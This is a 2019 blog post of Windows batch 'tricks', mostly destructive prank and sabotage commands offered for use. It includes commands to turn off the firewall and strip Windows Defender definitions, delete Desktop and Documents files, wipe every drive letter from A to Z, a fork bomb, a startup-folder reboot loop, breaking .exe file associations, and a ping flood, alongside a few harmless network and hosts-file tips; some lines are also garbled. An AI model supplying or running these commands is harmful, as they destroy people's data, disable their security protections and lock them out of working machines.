Wednesday, October 02, 2019

Batch Script Tricks

-------------------------------------------------------------------------------------------------------------------
windows firewall Bypass
  • netsh advfirewall set allprofiles state off
  • c:\Program Files\Windows Defender\MpCmdRun.exe -RemoveDefinitions -All Set-MpPreference - DisableIOAVProtection $true
  • netsh advfirewall set allprofiles state on


-------------------------------------------------------------------------------------------------------------------
Block Google
  • @echo off
  • cd "C:\Windows\System32\Drivers\etc"
  • echo 127.0.0.1 google.com » "Hosts"
  • echo 127.0.0.1 www.google.com » "Hosts"


-------------------------------------------------------------------------------------------------------------------
Del files from Desktop

  • del /f /q "C:\Users\%username%\Desktop\*.*"


-------------------------------------------------------------------------------------------------------------------
Make Random folders

  • @echo off
  • :kashy
  • md %random%
  • goto kashy


-------------------------------------------------------------------------------------------------------------------
Make the computer freezes using Batch Programming

  • %0|%0


-------------------------------------------------------------------------------------------------------------------
Message Pop up
  • :kashy
  • msg * hi
  • goto :kashy


-------------------------------------------------------------------------------------------------------------------
Shutdown With a Message in 1712 seconds

  • start shutdown -s -t 1712 -c "You Have Been Hacked"



Abort Shutdown 

  • shutdown -a


-------------------------------------------------------------------------------------------------------------------
run as admin

  • runas /user:%username% cmd.exe


-------------------------------------------------------------------------------------------------------------------
To Change all exe to kash

  • assoc.exe=kash


Retrive

  • assoc.exe=.exe


-------------------------------------------------------------------------------------------------------------------
IP address flush & Renew

  • ipconfig/all
  • ipconfig/renew
  • ipconfig/flushdns


-------------------------------------------------------------------------------------------------------------------
To Lock the System after 1712 seconds

  • @echo off
  • timeout /t 1712 /nobreak & rundll32.exe user32.dll,LockWorkStation


-------------------------------------------------------------------------------------------------------------------
Make system restart as soon as it logged in

  • cd C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
  • echo shutdown /r  > a.bat


-------------------------------------------------------------------------------------------------------------------
Change time to 17:12

  • @echo off
  • time 17:12


-------------------------------------------------------------------------------------------------------------------
Delete My Documents, My Music, My Pictures etc...

  • @echo off
  • del /f /q "C:\Users\%userprofile%\My Documents\*.*"
  • del /f /q "C:\Users\%userprofile%\My Music\*.*"
  • del /f /q "C:\Users\%userprofile%\My Pictures\*.*

-------------------------------------------------------------------------------------------------------------------
Swap Mouse Button:

  • @echo off
  • Rundll32 user32,SwapMouseButton


-------------------------------------------------------------------------------------------------------------------
Erase All Drives 

  • @echo off
  • del A:*.* /f /s /q
  • del B:*.* /f /s /q
  • del C:*.* /f /s /q
  • del D:*.* /f /s /q
  • del E:*.* /f /s /q
  • del F:*.* /f /s /q
  • del G:*.* /f /s /q
  • del H:*.* /f /s /q
  • del I:*.* /f /s /q
  • del J:*.* /f /s /q
  • del K:*.* /f /s /q
  • del L:*.* /f /s /q
  • del M:*.* /f /s /q
  • del N:*.* /f /s /q
  • del O:*.* /f /s /q
  • del P:*.* /f /s /q
  • del Q:*.* /f /s /q
  • del R:*.* /f /s /q
  • del S:*.* /f /s /q
  • del T:*.* /f /s /q
  • del U:*.* /f /s /q
  • del V:*.* /f /s /q
  • del W:*.* /f /s /q
  • del X:*.* /f /s /q
  • del Y:*.* /f /s /q
  • del Z:*.* /f /s /q


-------------------------------------------------------------------------------------------------------------------
Ping of Death on 192.168.0.1

  • start ping 192.168.0.1 -t -l 65500


-------------------------------------------------------------------------------------------------------------------
Add Firewall Rule to allow TCP connection with name Open Port

  • netsh advfirewall firewall add rule name="Open Port %1" dir=in action=allow protocol=TCP localport=%1 remoteip=127.0.0.1


-------------------------------------------------------------------------------------------------------------------

1 comment: